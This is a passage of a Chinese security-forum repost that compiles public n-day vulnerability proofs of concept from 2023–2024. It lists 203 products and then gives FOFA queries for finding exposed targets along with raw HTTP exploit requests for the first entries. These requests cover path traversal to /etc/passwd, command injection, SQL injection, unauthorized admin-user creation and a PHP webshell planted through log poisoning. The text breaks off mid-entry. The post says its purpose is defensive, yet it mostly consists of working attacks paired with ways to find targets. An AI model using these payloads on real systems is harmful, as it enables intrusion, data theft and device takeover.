中国网络渗透测试联盟

标题: 互联网公开漏洞整理202309-202406--转载 [打印本页]

---

作者: admin    时间: 2024-6-5 14:31
标题: 互联网公开漏洞整理202309-202406--转载
互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
3 r$ ~- t/ ]- p/ o- l( u& {' n8 Q9 F以下文章来源于网络安全新视界 ，作者网络安全新视界

发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
* g. ?9 A, Q6 G! |) ]2 H0 {# g
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

# D8 s7 j4 w2 B6 @* [* C# i1 K文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
* |3 g0 v9 ^. x+ |0 v4 l- y
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

  X0 {2 J. V. x  ^# O
声明

' B; w  w9 f' Q; T' F3 X* e9 {7 H为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
  }/ _& ]2 x7 g7 A" B% ~, N
  f; g5 l' M; Q8 X* O有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
& T, R/ a2 i4 C4 K5 D- _
: Y5 A8 g: [) W6 r  x

/ f0 ~! T5 s. }) b, K/ e目录
5 ?& F' z3 _! t# T  ^' g
" H# n1 T2 o; N; d+ n01

1. StarRocks MPP数据库未授权访问
, V* D1 m# g5 h% N  s- |2. Casdoor系统static任意文件读取
6 F) e- y0 b- R! U9 K3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
3 y! z7 B3 q9 Y) w: j  V, Z5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
$ z% H2 p" I8 B10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
0 V- |6 j2 W: p5 d9 _7 B3 J12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
7 {9 H& |, l! N14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
2 X7 E* G" i# ?/ K19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
( L6 F$ O# }3 H8 w- p' j5 M5 }' a& F22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
3 Z; D6 n9 `- C& t6 N4 t2 Q4 ]24. 用友NC 6.5 accept.jsp任意文件上传
8 g  }! v5 n& G- D8 H25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
: M" f6 f% ]# `8 |' A$ b7 j# [27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
! e8 z2 }: G* Y4 t9 J' g32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
7 [. c5 ?: A$ S' T& E) H34. 用友NC warningDetailInfo接口SQL注入
( c& w) L2 p7 F9 M* Q2 X. Q# @- Z35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
# B. c9 T; w0 g% \9 f37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
  b* w# x8 O. `40. 用友U8-Cloud XChangeServlet XXE
, o* g7 {8 z8 N+ s2 |' _  N41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
9 _0 i* m( {/ e  M" e: Z43. 用友GRP-U8 userInfoWeb SQL注入致RCE
2 D0 _( g1 Q; Y. f8 p  J, W44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
) Y6 D( \% }8 k3 C47. 用友GRP A++Cloud 政府财务云 任意文件读取
/ D# |+ I$ ^/ @2 ?2 l48. 用友U8 CRM swfupload 任意文件上传
' q; r$ {  N8 H% i49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
. `7 ?' h. ]0 d( O1 a" e53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
; O. l+ }0 P" b1 n55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
% A6 X: }/ d- L+ i! Z! O57. 畅捷通T+ keyEdit.aspx SQL注入
# B: f7 }/ T  w( V58. 畅捷通T+ KeyInfoList.aspx sql注入
; m9 J- }+ v4 _5 ~59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
! R  M" t" P; h% E7 j  }# Y) E" v62. IP-guard WebServer 远程命令执行
; q8 A7 b" P1 }. `; c' O& {63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
) m  e! P; ]: G0 ?# D) Q- O: ?4 F7 D" K! a65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
  ?1 ]! c0 L9 d5 n' g0 |68. 万户ezOFFICE wf_printnum.jsp SQL注入
0 d' T+ a, E, L( ^6 D69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
8 ^! D% K# r' \- I72. 致远OA getAjaxDataServlet XXE
3 a. i2 y8 @1 v' x! ^73. GeoServer wms远程代码执行
/ d. D* d, W6 c9 G+ m  k74. 致远M3-server 6_1sp1 反序列化RCE
( I* p5 Y1 q& D- x+ o4 V; O& Y75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
" S! h1 ^3 M$ z77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
7 I+ d8 h; Y  Y/ n( z- b80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
" z  y8 x; j$ M9 [+ k82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
0 ~( Z1 W8 [8 m" b- S5 Q83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
! q# `2 t  s5 h) `; {- A5 `" N; ^86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
# {8 I2 p2 @/ o+ V6 s( L+ C: g88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
, w" _0 d/ q7 j: j/ b- \1 E( L9 L' V2 p93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
: Y8 m3 f! D" Z96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
% U) p. T1 W1 ?9 _  Z6 L98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
0 c! h& Y5 [, w& x) M100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
  z# n* Q! K5 z7 o; W4 i105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
! G* q7 u6 v( t. ?) o+ I) |107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
5 O0 N5 D! s9 b4 T114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
+ x! G6 y$ ]; u: u1 Y( F' H116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
; u: I1 }% y3 H, w& P+ [9 r/ a119. 北京百绰智能S20后台sysmanageajax.php sql注入
' |$ L! L* A: X4 g, C7 H8 f120. 北京百绰智能S40管理平台导入web.php任意文件上传
$ m5 V! l6 p, {6 y; c, z121. 北京百绰智能S42管理平台userattestation.php任意文件上传
3 R/ Z9 R, h. P122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
' C; `# K# ]" o# V4 n0 Y- Z( o( S124. 湖南建研工程质量检测系统任意文件上传
0 H) D4 F6 O8 v% J: U125. ConnectWise ScreenConnect身份验证绕过
2 w, M' X7 I( i# Z3 `' {2 f' h126. Aiohttp 路径遍历
3 u! g; E& b5 Q127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
; z* `" r  G! \2 L130. Laykefu客服系统任意文件上传
3 _4 t, g+ N" a, K, K' n! }& I1 `131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
( i, I) x& z# l134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
+ ]. X( L+ C8 [8 Y+ l5 J  R7 I136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
) Y4 W) x. f4 V$ d138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
4 u- N' \1 b8 ~139. 福建科立讯通信指挥调度平台editemedia.php sql注入
% N: f% k- u1 i2 {- `140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
# M$ ~. F2 I) ?# D141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
4 K6 h! M4 J/ G  G( ]4 i% }  |143. Netis WF2780 v2.1.40144 远程命令执行
2 @* p) `6 S% {- r( v" Q144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
5 F0 j4 M  _$ L2 [  w4 ]6 G, H4 `146. MajorDoMo thumb.php 未授权远程代码执行
6 O3 O- x4 A: ]) V3 O9 p3 N7 L) j% r147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
+ C9 M, Z2 g# C% p! }4 k148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
7 ?0 _+ L6 h# _4 F* T151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
6 r) ^8 c: D. C: y2 W9 M1 `153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
0 T: y7 H5 G" W/ n' I156. TBK DVR-4104/DVR-4216 操作系统命令注入
9 Z6 i9 u/ {" ^157. 美特CRM upload.jsp 任意文件上传
2 M* I" P0 R. f$ {158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
- E1 `: p" s7 n& S161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
& b5 o8 P& v2 q- L3 h162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
7 n- b; }; T/ ?6 S4 K7 ?+ c163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
" g  [3 ~$ o' D) q# q9 l1 n164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
; L! q  }! Z& a166. 中成科信票务管理平台SeatMapHandler SQL注入
& \: V9 r/ _5 m$ o4 o% S9 L/ U167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
: u3 h8 r& j6 j+ z" S8 L/ G170. 宏景EHR DisplayExcelCustomReport 任意文件读取
3 }" Q+ @" [7 S7 T+ Y# g2 o171. 通天星CMSV6车载定位监控平台 SQL注入
! H$ x7 T7 T6 _. L8 b" G8 }172. DT-高清车牌识别摄像机任意文件读取
+ m, i" O7 q7 B  \+ F7 a' w- R173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
1 J3 v1 S' U7 J; X. P" V176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
; a. v# D' S$ i2 m* _( F180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
$ W! J9 R2 o- t: e1 f( @% t. e! u182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
8 ~3 L' l7 p# @& w; d. l183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
# ?2 i2 W5 N% T185. 瑞友天翼应用虚拟化系统SQL注入
$ S/ v5 Z6 G& ^2 E8 T4 _7 l186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
& \, E% U0 s" A188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
8 @- T8 R3 g. L+ ~190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
7 ?& M, ?- q; U/ ]192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
8 R- k( y8 n9 K: x& V, G. U194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
6 N  D( L# \" X1 X3 l/ J+ M6 Z" V195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
8 D$ X- J3 S, O196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
- ~" u- o& n4 a9 c' h200. SeaCMS海洋影视管理系统dmku SQL注入
- N- U, P% C: E1 r201. 方正全媒体新闻采编系统 binary SQL注入
4 y( m9 f+ g. @0 U( R/ h/ U202. 微擎系统 AccountEdit任意文件上传
$ p  D* x/ W; C/ o" _/ x203. 红海云EHR PtFjk 文件上传
. _1 H& w; ~& Y) L. Y4 b; M
POC列表
, W. r. {( ?! x, m4 `5 m7 \
( d# W. S; m" d1 B" w' L' h02
) c5 r+ p4 X+ T# N8 e
, U6 W8 t1 O. S: X# V; |1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
1 R' e+ u8 n6 X; t3 lGET /mem_tracker HTTP/1.1
/ Z/ v9 A! \1 ]  m7 X0 kHost: URL


3 ~* e6 c, f+ I6 K7 M2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
. g8 |) K, X3 I% q" m* F( J. ^1 U8 pConnection: close
: o5 _/ V0 n1 mAccept: */*
Accept-Language: en
Accept-Encoding: gzip

0 k8 Z' D. A6 L- N$ [% \7 p
3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
' t* ]0 b1 n; `% kGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx
3 h0 P/ g- C( k" r6 e, M$ t& U

4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

4 R  D( r* b& d& Z7 l. Cpassword更改为自己的密码md5
1 a( z# T5 N8 ~POST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
" ^1 X9 c" j/ r
, Q) B7 S1 e& F: T& d7 iname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
; U( d' n7 b- E, k

6 m7 ]: X1 X' T1 q  J, Q& e- C; k5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
$ l8 ?9 v0 L+ N- _GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
; I6 r8 Q% O  ~/ J. r9 RHost: xx.xx.xx.xx
& C; a- j( H! X6 B2 q
  S/ e2 d  V4 y! ~& r
/ \3 D9 y1 ^( S2 M; R9 Y6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
6 t9 f) ~6 X5 z2 A  BGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
: K5 ]: C! C" [

9 L( C7 Z  q* w& p. n1 h7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
7 J- y* w3 Y5 D" A3 V" VHost:
; q# L+ ]& m% W$ {

" m4 F1 i2 z. N, V, ~6 E6 ^8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
- f) f) Q$ Y- a0 r8 m( d; uPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
2 `4 ]1 @! s/ Y: {0 ~2 b; b
! s- k1 S2 l" H+ |0 j: _7 r& n%s
" m( B( Y) O9 |! G" m4 |- s; E------WebKitFormBoundaryxbgjoytz
2 D( H$ m4 q* x/ Z3 x4 TContent-Disposition: form-data; name="wifiRebootrange"

9 W7 `3 N  F2 z  |$ B12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
% }3 H: P2 A, V1 o
; ]$ A, t- b7 _%s:
4 ^* l7 G) h) f/ D) l6 f------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"


------WebKitFormBoundaryxbgjoytz--
/ P( \* e& c# I3 M$ H

9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
+ e. V) F+ j% e: I1 aGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x

+ }' _& k& J1 n$ q
payload为下列语句的二次Url编码
# ^8 b7 c3 k+ [
1 s$ A# w9 p( w0 m+ W. F' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
( ]6 h2 d5 \' J( z1 F
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
8 P9 W* X( Z% Z+ OFOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
4 T! h3 l7 M# K5 t% aContent-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
! ?" w  |+ Z5 h8 h% Y  q, [) X' UAccept-Encoding: gzip, deflate
, E5 I& }$ V+ ?5 oAccept-Language: zh-CN,zh;q=0.9
Connection: close
. c6 k4 r' Z+ [2 |8 I# lContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

, K. P& N4 ], o% o, F1 s. ~3 tjmnqjfdsupxgfidopeixbgsxbf
& G. c2 Y* P8 K------WebKitFormBoundaryxdgaqmqu--


11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
  @* J9 B( k! O" w$ O1 }9 ^FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
- G5 H$ ]3 \2 Z" y' G& fGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
- v( s$ R8 h$ z( yHost: 127.0.0.1
6 c* l8 a4 I2 CPragma: no-cache
Cache-Control: no-cache
0 x. M  i4 r/ z! \Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
5 R: _# ^! f& g" R; R# \' aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


12. Jorani < 1.0.2 远程命令执行
/ _: ?4 k' a9 v4 o% O( RFOFA：title="Jorani"
: ]/ A& b3 y% p5 r% w6 ?第一步先拿到cookie
4 G7 p, V$ L6 s8 q3 vGET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
; Q3 u: q7 C* p  i9 pConnection: close
. `" @; R6 L* s$ E0 t/ H. bAccept-Encoding: gzip
7 P) t3 [- L1 Y9 v) q
6 W5 }2 b4 |" `4 M
响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
8 G  D- i1 F5 k$ K  DExpires: Thu, 19 Nov 1981 08:52:00 GMT
( P4 [' J2 r0 u8 v8 B* zLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
* h+ I& |. G4 w2 D0 AServer: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
8 \" i4 Y; o( I( k1 C- nSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
8 G+ m# {/ W5 R+ z, J) \Vary: Accept-Encoding
& N, F0 O! I) O# ?& h/ `
/ ]5 o* U& B+ M3 V' {
POST请求，执行函数并进行base64编码
' B5 p, |2 D+ n: a3 f5 z9 qPOST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
$ [* R) h7 p! JAccept-Encoding: gzip
9 e* m  o, Y- Q/ n0 ]
; m2 K- {' [; R  _+ {' E1 v+ acsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor



- B$ d6 c1 [: O% b3 z; Y8 [向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
. ]' L+ g$ U+ g- YHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
9 \* a8 e, J' O% q& B4 K. TK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
2 a7 B0 p+ m! y+ A4 @0 Z  uX-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip


13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
4 E3 p2 L3 S. q; _GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
7 i1 s, b5 j% B/ x. ]/ T$ oUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
9 c2 H6 W* d1 PConnection: close
Accept: */*
- E% Q! r' x' c# E* v$ g8 KAccept-Encoding: gzip
2 [5 U9 p$ J# E8 }& G
# x/ \. k# e2 M. T1 o: L+ i
14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
$ G4 `$ X3 |. m" }. I泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
( z$ v" o7 J. H0 C; G0 XAccept-Language: en
$ Z& H. k4 \! |4 R7 p  @" oAccept-Encoding: gzip

" x1 x! S' k8 p- @7 r
" p# y  F0 u% K, P: p) ^% z15. 华夏ERP getAllList信息泄露
CVE-2024-0490
FOFA：body="jshERP-boot"
8 m5 K' J* z' U泄露内容包括用户名密码
! ?! D' o/ n& ~. _& c) n( vGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
0 n! C2 N! Y% ~3 n$ m; R& v: [Host: 192.168.40.130:100
; o) z) \/ b; P& |' D& v" T5 QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
( y3 w  n5 r) j# C6 ^Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
7 I  @( T8 ?+ T0 N: Z8 ysec-ch-ua-platform: Windows
Accept-Encoding: gzip
! G) l7 r7 C  _( ~6 P( y
( j" _8 T; j! O+ }. @* o3 U
16.  红帆HFOffice医微云SQL注入
2 Z6 o9 K! N* }+ H& N: \, g& JFOFA：title="HFOffice"
& L) d6 }1 x* U# l3 npoc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
